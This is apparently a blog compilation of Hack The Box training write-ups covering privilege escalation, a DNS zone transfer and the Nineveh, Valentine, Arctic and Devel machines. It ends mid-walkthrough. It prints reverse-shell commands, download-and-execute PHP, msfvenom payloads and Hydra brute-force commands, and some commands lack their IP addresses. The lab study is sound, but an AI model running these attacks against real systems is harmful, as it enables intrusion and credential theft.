Hack The Box

List of Privilege Escalation Methods on Hack The Box Machines

This post will contain a list of retired Hack The Box machines and the methods used by Ippsec to escalate privileges. The idea is to provide a list of privesc methods to review when you’re stuck and unable to find the intended way to escalate when you’re taking the OSCP exam and/or participating in a CTF.

This list will be updated as time goes on.

Linux Machines:

OpenAdmin: Linux Machine Retired in May 2020

  • Ippsec was able to abuse a public exploit to get command execution as www-data. This allowed for a low-privileged reverse shell.
  • Once on the box as www-data, he was able to enumerate the config files for the webserver, and found plaintext credentials for the SQL database.
  • Connecting to the SQL database didn’t return anything new, but we were able to enumerate additional users on the box from /etc/passwd, and found that the credentials to the database were being reused for the Jimmy user account.
  • We also found that an additional webserver was listening on localhost port 52846 by running ss -lntp.
  • Reviewing the configuration files that power this webserver reveals a SHA256 hash that we’re able to decrypt the cleartext password to. This reveals Johanna’s SSH key, which we then can leverage John to crack the encryption on. Finally, we’re able to SSH into the box as Johanna.
  • After using SSH to login as Johanna, we found that the Nano binary had its SUID bit set. Using GTFObins allowed for a way to escape and escalate to root.

Admirer: Linux Machine Retired in September 2020

  • We’re able to find credentials for a user named Waldo, which allows us to SSH into the box.
  • From here, we run sudo -l and find that he’s able to write to run the following as sudo. /opt/scripts/admin_tasks.sh
  • Reviewing the code of admin_tasks.sh, we find that it calls on another script when performing a web backup. That script is /opt/scripts/backup.py.
  • It doesn’t look like we have a way to pass any parameters, but the script imports a Python module with the following line: from shutil import make_archive
  • This means that we can create our own shutil.py file, provide the path when we execute the parent script, and should be able to execute Python code as root. We start by making a file at /opt/a/shutil.py with the following code:
    import os
    def make_archive(a, b, c):
    os.system('nc 443 -e "/bin/sh"')
  • Then finally we can start a netcat listener, and run the script as sudo while passing the PYTHONPATH variable to our custom location.
    sudo PYTHONPATH=/tmp/a /opt/scripts/admin_tasks.sh

Magic: Linux Machine Retired in Aug 2020

  • Ippsec was able to gain a low-privileged shell by using a SQL injection to bypass the initial login page, and then uploading a malicious PHP web-shell. This gets us on the box as www-data.
  • Looking through the website configuration files, we find that the credentials for a user are stored in plaintext. These are used to connect to a local database.
  • Dumping the contents of this database using the captured credentials reveals another set of credentials for a new user, named Theseus.
  • We find that the password taken from the database works to switch over to the Thesues user in Linux.
  • Now we restart our enumeration and end up running commands to see what files we have write permissions to.
    find / -user theseus -ls 2>/dev/null
    find / -group users -ls 2>/dev/null
  • This returns a binary with the SUID bit set: /bin/sysinfo
  • Running strace against this shows that it will use the binary called free, but it doesn’t use an absolute path. This allows us to create our own free binary, update our path so that our custom free binary gets executed instead.
  • Now running the sysinfo binary will call upon our custom free binary in the root context, therefor giving us a root reverse shell.

Windows Machines:

Chatterbox: Windows Machine Retired in June 2018

  • You’re able to get an initial shell by using a public BOF exploit. This will get a shell as Alfred.
  • Once on the box, you find that you’re able to read the Administrator’s Desktop, but you can’t read the root.txt file.
  • Using acals, we find that we have Full Control of the desktop, which means we can grant ourselves access to root.txt with the following command: icacls root.txt /grant alfred:F
  • We also find that there are autologin creds stored in cleartext. These creds are for the Alfred user, but we’re able to actually reuse the same password for the Administrator account using PowerShell to gain a reverse shell as Admin.

SecNotes: Windows Machine Retired in January 2019

Ippsec was able to gain a low-privileged shell as a user named Tyler. Inside Tyler’s Desktop directory was a link to a file named bash.lnk. This was a hint that Bash for Windows was installed. Because of this, he was able to look through the appdata for the installed application, find the filesystem used by the virtual machine container, and open the contents of the root users’ .bash_history file. Within this was the local administrator credential to the box in plaintext.

Bastion: Windows Machine Retired in Sep 2019

Ippsec was able to gain a low-privileged shell as a user named L4mpje. Eventually he came across the Program Files (x86) directory that showed an application called mRemoteNG was installed. This stood out because all other applications appeared to be pretty default. Doing a Google search on “mRemoteNG password decrypt” returned a handful of articles showing how you could extract hashes from the config file of this application using tools on Github. Doing this allowed us to gather the local admin user credentials.

ServMon: Windows Machine Retired in June 2020

Ippsec was able to find cleartext creds via LFI and use those to SSH into the box as a low-privileged user named Nadine. Enumerating the box confirmed that an application called NSClient was running, which appears execute remote commands/scripts based on what jobs you schedule in the webapp. Using a command that uses the nsclient.exe binary, we were able to extract the password to login to the admin of this application in cleartext. We set up an SSH tunnel so that we can access the web interface as localhost, sign in with this captured password, and then schedule a job that executes our malicious PowerShell command.

Remote: Windows Machine Retired in Sept 2020

  • Ippsec was able to get a low-level shell by abusing a public exploit for the CMS powering the site.
  • Running whoami /all showed that SeImpersonatePrivilege was enabled, which allow for a Potato-based attack.
  • WinPEAS output helps us determine that we can modify UsoSvc service, along with start it.
  • Using sc.exe, we’re able to modify the binary path used by this service to instead launch the following command: cmd.exe /c powershell.exe -EncodedCommand <encodedCommand>
  • The encoded command was configured to download a reverse shell and execute it into memory, which then allowed escalation to SYSTEM.

Buff: Windows Machine Retired in Nov 2020

Ippsec was able to gain a low-privileged shell as a user named Shaun. He ran the WinPEAS script and spoke about a few items that stood out. First, he saw that Watson returned a handful of CVEs related to Windows Build version, but he said he’ll save those for last due to stability issues with those type of exploits. Next, he points out that an administrator is currently logged in, so he suggests we look at processes running as administrator currently. He found that SQL was running so we may want to poke around in that. We can write into the c:\xampp directory, so that’s interesting. After this script finished, he started enumerating the box and came across “Tasks.bat” within his Documents directory, which executes a file that starts the webserver. In Downloads, he finds a “CloudMe_1112.exe” file. Running searchsploit against this returns a handful of BOF vulnerabilities. Exploiting this returns a reverse shell running as administrator.

Hacking Tutorial

Performing DNS Zone Transfers & Viewing the Results w/ Aquatone

When you find that DNS is running on a box, you may want to check if it’s vulnerable to a DNS Zone Transfer. If it is, and you’re able to successfully perform the attack, it will return a list of all subdomains available on the server — making the enumeration process that much easier.

Table of Contents:

  • Background
  • Performing the DNS Zone Transfer Attack
  • Formatting the Results
  • Viewing the Results w/ Aquatone

In this guide, we will use the Hack The Box machine named FriendZone as an example. Note: This document is not intended to be a walkthrough of the box.


At this point, we have already found the following information about the target machine.

  • DNS is running on TCP Port 53.
  • Machine located at
  • We’ve found two domain names already; friendzoneportal.red & friendzone.red

Performing the DNS Zone Transfer Attack

Let’s start by attempting a zone transfer on our first domain name with a tool called dig.

sudo dig axfr @ friendzoneportal.red

Let’s check the other domain name too.

sudo dig axfr @ friendzone.red

Comparing the results of both, looks like each returns a different list of results. Let’s rerun each command, but add >> zonetransfer to the end of the commands so that we can create a new file called zonetransfer and append the results to it.

sudo dig axfr @ friendzone.red >> zonetransfer
sudo dig axfr @ friendzoneportal.red >> zonetransfer

Formatting the Results

Let’s do some magic to strip out everything we don’t care about and output the results to a file named hosts.

cat zonetransfer | grep friendzone | grep IN | awk '{print $1}' | sed 's/\.$//g' | sort -u > hosts

Nice! The goal is to place these domain names into our /etc/hosts file, which requires each host being separated by a space rather than a new line. Let’s use vi to perform a find & replace. Open the file by running vi hosts.

While in command mode, let’s run the following commands to find all new lines, replace them with a space. :%s/\n/ /g

Press Enter to run the above command. Confirm your file looks like the screenshot below, and then run the following command to write the results to a new file named tmp. :w tmp

Run :q! to exit the file and then we can cat the contents of tmp to ensure things worked correctly.

Viewing the Results w/ Aquatone

Go ahead and copy out the contents of tmp. With those domain names in your clipboard, let’s update our /etc/hosts file.

sudo vi /etc/hosts

Add a new line to the file to include the hostnames at the IP address

Now, we want to edit our list of hosts (not the /etc/hosts file) to append http:// at the beginning of each line. There’s many ways to do this, but we’ll use a vi macro to speed up the process for us. Go ahead and run the command vi hosts to open the file in command mode.

Press qa to start recording a macro. You should be able to see the footer change to recording @a.

We’ll still be in command mode, so we want to press i to enter insert mode.

Then, we can type http:// to the first line. Press the Down Arrow key, and then press the Home key. If you do this correctly, you’ll be taken to the 2nd line where you want the http:// text to show up.

We’re done recording our macro, so press the Esc key to exit insert mode and go back to command mode, and then press q to stop recording the macro. The footer showing recording @a should no longer be present.

With our macro recorded, let’s run it by pressing @a within command mode.

So that ran it once, but we have seven additional lines to run it on. Let’s type 7@a to run it seven times.

Nice! Now let’s run :wq to write our changes and quit, and then cat the file to review the results.

Now we have a list of all the websites we want to view! Luckily there is a tool that can go out to each of these websites for us, let us know if the page is active, and even take a screenshot of it so we don’t have to open each one manually. This tool is called Aquatone, and you can find the precompiled binary from GitHub.

One you have the binary download, extracted, and on your system, you may want to move it to /bin so that you can execute it from anywhere.

With Aquatone on our system, let’s make a new directory to store our loot, move our hosts file (containing our targets) into, change into it ourselves, and then run the tool.

mkdir aquatone
mv hosts aquatone/
cd aquatone/
cat hosts | aquatone

The output of the command shows us which domains return pages, and which ones don’t — but the real beauty of this tool is in the generated html file. Let’s open up the report and see what we can find.

firefox aquatone_report.html

Here we can easily see which pages are live and even get a sneak peak into what they’re running to know which ones we may be interested in.

Hack The Box

Hack the Box Write-Up: NINEVEH (Without Metasploit)

This box has been one of the most time consuming ones I’ve done so far. I’d highly recommend it for anybody studying/prepping for the OSCP exam, as it will help you sharpen a lot of skills that will come in useful for that certification.

Table of Contents:

  • Initial Enumeration
  • Using Hydra to Brute-Force Our First Login Page
  • Using Hydra to Brute-Force Our Second Login Page
  • Authenticated Enumeration & Identifying Vulnerabilities
  • Exploiting LFI & PHP Code Injection
  • Post Exploitation & Privilege Escalation
  • Key Takeaways

Initial Enumeration

As always, I started out with an nmap scan to see what ports are open on the box.
nmap -T4 -sV -sC -p-

Looks like we’re just dealing with a webserver and nothing else. Let’s go take a look at the pages and see what we can find. I open up a browser and navigate to the box using http & https.

Port 80 just takes us to a default post-installation page.

Port 443 takes us to an image.

I decide to check the Page Source of each site to see if I find anything interesting, but nothing pops out.

At this point, I decide to spin up dirbuster and see what directories we can find. First up, I start by scanning http on port 80.

It doesn’t take long before it uncovers an /info.php directory. Browsing to this shows us a ton of information about the system’s OS and installed versions of Apache & PHP.

Soon after, we uncover a directory titled /department/. Browsing to this reveals our first login page!

As a quick test, I decide to see if we can log in using a username of admin and a password of password.

We don’t successfully log in, but we do see that the page returns a message indicating “Invalid Password”. Does this mean we have a valid username? I decide to try a random username of InfiniteLogins, with a password of password.

Ah-ha! We get a message that states “Invalid Username”. While we don’t have a successful log-in, this is very helpful for us, as it allows us to enumerate usernames on this webapp. This would definitely be a finding in an assessment. For now, let’s keep this in mind for later on when we try to break in.

I’m starting to think that is all we need to uncover on port 80, so I cancel my dirbuster and rerun it on port 443.

It doesn’t take long before we uncover a phpLiteAdmin page running on a directory titled /db/

Alright cool! We’ve uncovered two login pages at this point. Let’s try our hand at breaking in..

Using Hydra to Brute-Force Our First Login Page

There are many brute-force tools available, but Hydra is one of the fastest and best to use for what we’re up against. I would also recommend BurpSuite Pro if you have the paid subscription, otherwise using the free version may take you too long.

Hydra is a fairly straight forward tool to use, but we have to first understand what it needs to work correctly. We’ll need to provide the following in order to break in:

  • Login or Wordlist for Usernames
  • Password or Wordlist for Passwords
  • IP address or Hostname
  • HTTP Method (POST/GET)
  • Directory/Path to the Login Page
  • Request Body for Username/Password
  • A Way to Identify Failed Attempts

Let’s start piecing together all the necessary flags before finalizing our command.

Specifying Username

In our particular case, we know that the username Admin exists, which will be my target currently. This means we’ll want to use the -l flag for Login instead of a capital -L for a list of logins.
-l admin

Specifying Password

We don’t know the password, so we’ll want to use a wordlist in order to perform a Dictionary Attack. Let’s try using the common rockyou.txt list (by specifying a capital -P) available on Kali in the /usr/share/wordlists/ directory.
-P /usr/share/wordlists/rockyou.txt

IP Address to Attack

This one is easy!

Specifying Method

This is where we need to start pulling details about the webpage. Let’s head back into our browser, right-click, and Inspect Element.

A window should pop-up on the bottom of the page. Go ahead and select the Network tab.

Right away, we see a couple GET methods listed here, but let’s see what happens if we attempt a login. Go ahead and type in a random username/password, and click Log In.

Of course our login attempt will fail, but we’re able to see that this website is using a POST method to log-in by looking at the requests.

Easy enough, now we know what method to specify in our command!
Note: You’ll need to enter https if you’re attacking a site on port 443.

Specifying the Path to Attack

So far, we’ve only told the tool to attack the IP address of the target, but we haven’t specified where the login page lives. Let’s prepare that now.

Finding & Specifying Location of Username/Password Form(s)

This is the hardest part, but it’s actually surprisingly simple. Let’s head back over to our browser window. We should still have the Inspect Element window open on the Network Tab. With our Post request still selected, let’s click Edit and Resend.

Now we see a section called Request Body that contains the username and password you entered earlier! We’ll want to grab this entire request for Hydra to use.

In my case, the unmodified request looks like this:

Because we know the username we’re after is “admin”, I’m going to hardcode that into the request. I’ll also replace the “Password” I entered with ^PASS^. This will tell Hydra to enter the words from our list in this position of the request. My modified request that I’ll place into my Hydra command looks like this:

Note: If we desired, we could also brute-force usernames by specifying ^USER^ instead of admin.

Identifying & Specifying Failed Attempts

Finally, we just need a way to let Hydra know whether or not we successfully logged-in. Since we can’t see what the page looks like upon a successful login, we’ll need to specify what the page looks like on a failed login.

Let’s head back to our browser and attempt to login using the username of admin and password of password.

As we saw before, we’re presented with text that reads “Invalid Password!” Let’s copy this, and paste it into our command:
Invalid Password!

Piecing the Command Together

Let’s take all of the components mentioned above, but place them into a single command. Here’s the syntax that we’re going to need.

sudo hydra <Username/List> <Password/List> <IP> <Method> "<Path>:<RequestBody>:<IncorrectVerbiage>"

After filling in the placeholders, here’s our actual command!
sudo hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form "/department/login.php:username=admin&password=^PASS^:Invalid Password!"

Note: I ran into issues later on when trying to copy this command out of this WordPress site. You may need to delete and re-enter your quotation marks before the command will work properly for you.

After a few minutes, we uncover the password to sign in!

Using Hydra to Brute-Force Our Second Login Page

While on the topic of Brute-Force, let’s go ahead and start hammering on the other login-page we identified before seeing what we can find with our newly discovered credentials.

Go through the exact same steps as above, and you should end up with a command that looks like this.
sudo hydra -l admin -P /usr/share/wordlists/rockyou.txt https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password"

So what’s different between this command and the one we ran earlier? Let’s make note of the things that changed.

  • Method was switched to https-post-form
  • Path was updated to /db/index.php
  • Request Body is completely different, but we still hard-code admin and replace the password with ^PASS^
  • Finally, the text returned for a failed attempt reads Incorrect password

After running the command, we uncover the password after just a couple minutes.

Authenticated Enumeration & Identifying Vulnerabilities

So at this point we have credentials! Let’s sign into our first webpage and see what we can find.


We’ve got some generic “Under Construction” page. Let’s enumerate a bit more and check out the Notes section.

Alright so we’re taken to a page that has some clues. While the clues are helpful, the thing I’m really interested in is the URL. Let’s observe this a bit more.

It looks like this URL calls on a file within the local file-system. Perhaps we can leverage this page to exploit a Local File Inclusion (LFI) vulnerability?

Let’s keep this in our back pocket and logon to the second web-page.


Interesting. Looks like we’ve got the ability to create/modify databases and tables within this phpLiteAdmin v1.9 panel. After browsing around to see if I could find any data worth harvesting, I decided to look up known vulnerabilties for this software. I stumbled across this Remote PHP Code Injection. https://www.exploit-db.com/exploits/24044

The exploit works by creating a new database with the PHP file extension. Once the database is created, we can add records within it that contain our own PHP code. If we have a way to browse to and execute that database (perhaps our LFI we found earlier?) we then can execute any PHP code that might be stored within it.

Let’s start by making a quick database and throwing up some test code. I decided to name mine Infinite.php
Note: Make sure you add the PHP file extension, or you won’t be able to leverage this vulnerability.

With the new database created, let’s Select it and then create a new table titled RCE with Two fields. Once done, click Go.

We then are taken to a screen we can use to configure those fields. I really only care about one of them, and I just want to insert some test PHP code to see if we have code injection and eventually execution through our LFI.

I went ahead and filled out my table as follows:

Field: Insert some name, I’m going going to use Code.
Type: Select TEXT. Any other type may not work correctly.
Default Value: This is important. Whatever PHP code we wish to execute should be entered here so that it’s present in the table when the database is called. The code I included here is for now is <?php phpinfo()?>

Once entered, click Create.

With the table in place, we just need a way to execute the code that we injected. Since we suspect LFI is present on the page we found earlier, perhaps we can call on our database to execute the PHP code? In order to do that, we need to know the exact path that our database lives on. Lucky for us, phpLiteAdmin shows this on the Structure tab of the database.

Looks like the path is /var/tmp/Infintite.php

Head back over to the page where we suspect LFI may be present and let’s take a look at the URL again.

The existing URL is referencing a text file present on the local file-system.

Let’s modify so that it references our database instead of the .txt file.

It didn’t work..

Perhaps there is some filtering in place to try and protect against this? Let’s rename our database to ninevehNotes so that it matches the name of that text file that is allowed.

Let’s try the LFI now.

Great success! This confirms that we have command execution. In the next section, we will abuse this and see if we can actually obtain a reverse shell connection.

Exploiting LFI & PHP Code Injection

My plan is to inject a line of code that can download and hopefully execute a reverse shell. Let’s start with a test PHP file that just contains a simple string.

echo "Consider following on Twitter!" > hax.php

With that PHP file present, let’s spin up a webserver in this directory so to host the file up.

sudo python -m SimpleHTTPServer 80

Alright, let’s craft up some PHP code that will download our hosted PHP file and store it locally on the file-system. Since we know our database lives at /var/tmp/, let’s store our PHP file here.

<?php system("wget -O /var/tmp/hax.php; php /var/tmp/hax.php"); ?>

With our code crafted, let’s Insert it into our database.

Alright, let’s execute this by navigating to our database again.

To see if the command executed, we can check our terminal window that’s running the Pyhon webserver and see that we received a GET request.

This confirms that we at least got our wget to work, but what about the other part of the command? Well let’s scroll down on the page and see if we see the contents of our hax.php file.

So what’s happening here?

  • Our table named RCE contains a field that holds a default value that displays the PHP Info page.
  • We inserted a row that will download and execute a hosted (eventually malicious) PHP file that we control.
  • We can execute the contents of the database as PHP code due to a known vulnerability in phpLiteAdmin v1.9 + an LFI that we found.
  • When we browse to the database via LFI, we’re able to execute the contents as PHP code, which runs the PHP Info command, as well as the record that will download & execute our hosted PHP file.

Let’s delete our hax.php file and create a new one that contains actually malicious content. If you haven’t already, check out my MSFVenom Reverse Shell Cheatsheet. We’ll use the following command to generate a PHP Reverse Shell.

sudo msfvenom -p php/reverse_php LHOST= LPORT=1234 -f raw > hax.php

If all works well, we should be able to catch a reverse shell on port 1234. Let’s spin up a Netcat listener.

sudo nc -nvlp 1234

Make sure that your Python webserver is still running. I ended mine, cleared the screen, and restarted it before moving forward so I can clearly see new GET requests.

With everything in place, let’s browse to our database again and refresh the page.

Once we do, we receive a reverse shell as user www-data!

Post Exploitation & Privilege Escalation

Now that we’re on the box, let’s change into the root directory and see what we can find.

cd /
ls -la

Right away, we see a non-system directory titled “/report” that is owned by a user named amrois. Let’s see what’s inside.

cd report

We see a ton of files in here. Let’s review the contents of one.

cat report-20-03-28:14:40.txt

Seems like some sort of AV/Malware scanner. Let’s do a quick google search on these logs and see if we can identify what software is running. The first result shows us software named Chkrootkit.

Doing some research on Chkrootkit, we find a known local privilege escalation at https://www.exploit-db.com/exploits/33899

Reading further on this exploit should allow us to gain a root shell.

Key Takeaways

  • Use Hydra to brute force web logins, especially when weak credentials are in use.
  • Don’t give up a Local/Remote File Inclusions (LFI/RFI) just because it doesn’t work on your first attempt. Think outside the box.
  • We don’t need to reinvent the wheel. When other payloads aren’t working, don’t forget you can always generate your own with MSFVenom.

Hack The Box

Hack the Box Write-Up: VALENTINE (Without Metasploit)

In honors of Valentines day, I figured it only made sense to give this box a try and was shocked at how easy it ended up being.

Table of Contents:

  • Enumeration
  • Exploiting Heartbleed Vulnerability
  • Privilege Escalation
  • Key Takeaways


As always, I started with an nmap scan to see what ports are open.
nmap -T4 -sV -sC

Reviewing the results, I see that we’re dealing with a webserver that also has port 22 open for SSH. My immediate thought is I’ll be able to find credentials through a web exploit, which I can use the log into the box via SSH.

To start, let’s go take a look at the webpage on port 80 and 443.

I quickly see the infamous Heartbleed logo on both webserver ports. Add in the fact that this box is named Valentine, I start to wonder if Heartbleed is the intended path.

To see if the machine is vulnerable to Heartbleed, I decide to run a quick nmap script against the box.

nmap -sV --script=/usr/share/nmap/scripts/ssl-heartbleed.nse

According to the results, I’m able to confirm the machine should be vulnerable to Heartbleed.

Exploiting Heartbleed Vulnerability

At this point, I start looking for public exploits for Heartbleed and come across the following python script at https://stackabuse.com/how-to-exploit-the-heartbleed-bug/

I take a copy of this code and save it as exploit.py on my machine. After reviewing the code, I see that the syntax only requires the IP address of our target.
sudo python exploit.py

There is a lot of output that gets returned, which tells us that we successfully exploited Heartbleed. Taking a closer look at the output shows a text value (that appears to be Base64) for a form located at (see above screenshot for the highlighted text value).

Note: You may need to run the exploit multiple times before you find the text string I’m mentioning.

I decide to head over to the decode.php page and see if I can decode this string.

Interesting! So we’ve got a value that appears to be some sort of credential. At this point, I attempted to SSH into the box as root using heartbleedbelievethehype as the password, but it didn’t work.

Seeming to be at a dead-end, I decide to run dirbuster against the box. After some time, I uncovered a page at /dev/hype_key that appeared to contain a hidden message in hex format.

I copy this hex code, look up a quick online decoder, and dump the text in. Looks like we found an RSA key for an SSH connection!

I take the decoded RSA key and store that into a file named rsa.key. I then attempt to connect to the box using the key and uncovered passphrase, but am still unable to get in. It seems I need to uncover a username still as this key isn’t working for the root user.

After trying a few basic usernames, such as valentine@ or heartbleed@, I finally realize that the username is in the name of the encoded RSA key. If you recall, the name of this file was hype_key.

Finally with this additional insight, I attempt to connect to the box using this RSA key, passphrase, and username.
sudo ssh -i rsa.key hype@

Great! I’ve got a connection as a low-privileged user. I’ll go ahead and grab the user.txt file before moving on.

Privilege Escalation

At first, I figured I’d check for low-hanging fruit through a kernel exploit. Let’s see what OS I’m running on.
uname -a

Sweet, x86 Ubuntu 3.2.0-23. Wonder if there are any known privesc exploits?
searchsploit ubuntu 3.2

Look like there are a couple! I attempted to use two of these, but was unable to make it work. Either ran into a compilation error, or a problem executing the payload. Either way, figured there must be another way to gain root-access and decided to dig deeper.

If I can’t make an easy kernel exploit work, perhaps I can still find a lazy path to root? Let’s see what commands were previously ran on this box as root.
cd ~
cat .bash_history

Interesting.. Looks like the admin was using tmux for something. Let’s try a couple of these commands and see what happens.
tmux -S /.devs/dev_sess

Wow, looks like that got us root! Let’s grab our flag and consider this one a wrap.

Key Takeaways

  • Staying up to date with major vulnerabilities will make your life easier when it comes to identifying critical holes.
  • Not all attack vectors relay on remote code execution or buffer overflows.
  • Always look for low hanging fruit, whether that’s something as simply as looking at command history or even kernel exploits.

Hack The Box

Hack the Box Write-Up: ARCTIC (Without Metasploit)

This was a “fun” box. It honestly wasn’t too hard because there are many, well documented, public exploits available. I spent way more time than I’d like to admit on the privesc section, but eventually found an easy way in.

Table of Contents:

  • Enumeration and Initial Foothold
  • Privilege Escalation
  • Key Takeaways

Enumeration and Initial Foothold

As always, started with a quick nmap scan of the box with default scripts (-sC) and enumeration of versions (-sV). -T4 simply makes the scan run faster with additional threads.
nmap -sV -sC -T4

We find that port 8500 is open, but I don’t immediately recognize what service is running, so let’s check it out in a web browser. I opened tabs to see if it would respond on both http as well as https. I only received a response back on http, but could see the index of a directory!

At this point, my immediate instinct is to start running dirbuster to see what directories we can uncover. While that was running in the background, I decided to manually dive in. I eventually found an administrator page at the URL

Here, we can see that we’re running a piece of software called Adobe Coldfusion, version 8!

Viewing the Page Source, we can see that there is a hard-coded salt value that gets added to the password when it’s entered. I went ahead and made note of this in case it’s helpful in the future.

At this point, I started looking for public exploits known to Cold Fusion 8. In my research, I found many many vulnerabilities that we may have been able to use for our way in. I eventually decided on utilizing a Arbitrary File Upload and Execute vulnerability found at the below website:

I copied that code down and stored it into a new file that I named hax.py. After reading through the code, it appears that we’re simply uploading a malicious JSP file to a directory that we have unauthenticated access to. Reading the usage, we’ll need to first create our own malicious JSP file to pass along.

Leverage msfvenom to create a JSP payload, per the instructions from the exploit.
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=443 -f raw > shell.jsp

Cool, time to exploit!
python hax.py 8500 shell.jsp

Perfect, we received a successful message indicating that we have uploaded our malicious file. Time to set up a Netcat listener, and then browse to the URL holding the malicious JSP file to execute the exploit.
nc -nvlp 443

Browse to

Awesome! I’m presented with a shell. A quick whoami confirms that we haven’t pwned the system fully yet.

Let’s grab the user flag real quick before moving onto the next section, which we see is on the user’s desktop.
dir c:\users\tolis\desktop

Privilege Escalation

A quick systeminfo returns that we’re dealing with a 64-bit Windows Server 2008 R2 machine with no patches installed.

In my last post about Devel (which you can find here), we used a tool called Sherlock to locate privilege escalation exploits on a machine.

This time, I wanted to use a different tool. I came across the Windows-Exploit-Suggester.py on GitHub, and figured I’d give it a try. https://github.com/AonCyberLabs/Windows-Exploit-Suggester

While many people give credit to this tool, I didn’t have much luck. It returned a list of exploits that I couldn’t use on this box, and also missed some critical exploits that would have made privesc much easier. Feel free to try it out and see how it works for you — Just know your mileage may vary.

Instead, I Googled local privilege escalation exploits available on Server 2008 R2 machines. Eventually, I came across MS10-059. There are some awesome public exploits available for this vulnerability, and I found a precompiled executable that will present you with a reverse SYSTEM shell.

Note: I do not recommend using public precompiled executables on your machine. Please proceed with caution when you’re unable to view the source code of any executable found on the Internet!!!

I found this particular executable at https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS10-059.

Once downloaded on my box, I transferred it over to the victim by spinning up a quick webserver via Python.
python -m SimpleHTTPServer 80

On the victim computer, I changed into a directory that I had write permissions to, and then downloaded this file using certutil.
certutil -urlcache -f "" MS10-059.exe

Executing this file returns usage on how to gain the reverse shell.

Alright cool, sounds like we need to spin up a Netcat listener to catch the shell! Let’s run this command on our Kali box.
nc -nvlp 9001

And finally, let’s execute this command on the victim box.
ms10-059.exe 9001

Checking back on our Netcat listener, we see that we’ve popped a shell. A quick whoami proves that we now have SYSTEM.

Key Takeaways

  • While enumeration scripts will work on some boxes, they don’t always work on all. Make sure to keep trying different things until you find a path that works for you.
  • There are typically many different ways into a system. While learning different methods will always be useful, sometimes it’s best to go with the easiest methods first.
  • Patch outdated software — duh.
Hack The Box

Hack the Box Write-Up: DEVEL (Without Metasploit)

This was a simple box, but I did run into a curve-ball when getting my initial foothold. I’m rating this as an easy box since the privilege escalation piece was simple when utilizing a kernel exploit, and the the initial way in isn’t super realistic.

Table of Contents:

  • Enumeration and Initial Foothold
  • Turning Command Execution to Reverse Shell
  • Privilege Escalation
  • Key Takeaways

Enumeration and Initial Foothold

To start out, let’s run a nmap scan to see what ports are open on the box. This is the command I use, but you can use whatever you like best.
nmap -T4 -sV -sC -oA /nmap

From the output of the scan, we see that FTP on port 21 is open to anonymous login. We also see that there are some files present; iisstart.html & welcome.png.

Port 80 is open and running Microsoft IIS 7.5, a webserver. Let’s open a browser and see what we see at that page.

After viewing the page source, we see that the website is just pulling up welcome.png as the image. Remember how we saw that file on the FTP server from the nmap output?

Let’s connect to the FTP client & see if we can add files to the website.
echo Hello > test.txt

put test.txt

Now let’s attempt to browse to our test file.

Great! So we found that we can upload our own webpage to this IIS webserver, and then execute that webpage by browsing to it. IIS runs code in asp/aspx, so my next thought was to create an asp/aspx payload to get a reverse shell connection. I created an aspx payload through msfvenom, but I was unable to get a reverse shell this way.

Finally, I found Kali has a built-in aspx webshell located in our webshells directory. Let’s copy this down to our present working directory.
cp /usr/share/webshells/aspx/cmdasp.aspx .

Let’s connect back to the FTP client and upload this webshell.
put cmdasp.aspx

If things worked, we should be able to browse to this webshell by navigating to the following page:

Alright cool, we see the page. Let’s run dir to see if we actually have command execution, and if we do, what directory we’re in.

Perfect! So we’ve got the ability to execute commands on the system. Let’s run a quick ping test to make sure we’re able to communicate from this system to ours.

I started a quick tcpdump to capture ICMP requests to/from my VPN connection using the below command, and then execute the ping command in our webshell.
tcpdump -i tun0 -n icmp

The output confirms that our box received a ping request from the webserver — great! So we have command execution and can communicate to/from the box, but how do we turn this into an interactive reverse shell?

Turning Command Execution to Reverse Shell

I attempted a few things from here:

  • Attempted another asp/aspx shell.
  • Transferred the windows binary for nc.exe and attempted to execute locally on the disk.
  • Created my own malicous exe via msfvenom, transferred that to the box, and attempted to execute locally on the disk.

No matter what I tried, I kept running into an error.. “This program cannot be run in DOS mode”.

So if we can’t execute malicous code directly on the disk of the machine, how else can we get our code to run? I chose to try hosting my own SMB server first. My thought was perhaps we could execute a malicious file from a network share, and load it straight into memory. Kali has a built-in SMB server through a python script. Lets locate that and copy it into our current working directory.
cp /usr/share/doc/python-impacket/examples/smbserver.py .

In order to use this SMB server, we need to first create a directory to host as a fileshare. I’ll name mine something simple, “smb”.
mkdir smb

Now let’s find the Windows binary for Netcat and copy it to this directory we just made.
cp /usr/share/windows-binaries/nc.exe smb

Looks like we’ve got everything in place! Let’s spin up the server to a fileshare named “share” using the following command.
python smbserver.py share smb

With our SMB server in place hosting the Windows binary to Netcat, we’re almost ready to instruct the webserver to connect to us. But first, we must spin up a Netcat listener to catch the connection request.
nc -nvlp 8080

Everything’s set up! Let’s head back to the cmdasp webshell and run the following command. If all goes well, we should receive a reverse shell back.
\\\share\nc.exe -e cmd.exe 8080

Looking at the results, we do see the SMB request in our terminal window hosting nc.exe. We also see that we’ve received a reverse shell in our Netcat listener! Let’s run whoami to see what rights we have. We see that we’re not SYSTEM, so our job isn’t done yet..

Privilege Escalation

We’re on the machine, but we don’t have complete control of it yet. Let’s get some information about the computer to see what we’re working with.

Alright, so we’re working with a 32-bit Windows 7 machine. Usually, this command will also return a list of installed patches, but nothing was returned here. Does this mean that the machine is missing all patches? Surely there’s some sort of old Win7 privilege escalation exploit that would work on an unpatched box..

There’s a tool called Watson that will scan a system to find any local privilege escalation exploits that may exist on a machine. You can download the tool from https://github.com/rasta-mouse/Watson.

This is a super awesome tool, but there are a couple caveats.

  • First, it’s written in C#. This means that we’ll need to open Watson in Visual Studio, an application not available in Kali Linux. I’ve installed this on my Windows box.
  • Secondly, the current version of Watson is not compatible with Windows 7. This means we’ll need to dig through the Commits on the Github to download the original release of the application if we want to run it on our target machine.

We’ll need to make sure to compile Watson using the correct configuration for our target machine. Back in our reverse shell, let’s query the registry to see what version of .NET we’re running.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"

We see that the box is running .NET 2.0, 3.0, and 3.5. Now we know how to compile the Watson script. I set my Windows machine up with the Visual Studio Community edition, and opened Watson.sln from the Github page. With the project loaded, let’s go to Project, and select Watson Properties.

We’ll need to adjust the Target Framework to patch our target machine. The latest installed on our victim is 3.5, so this is what we’ll select.

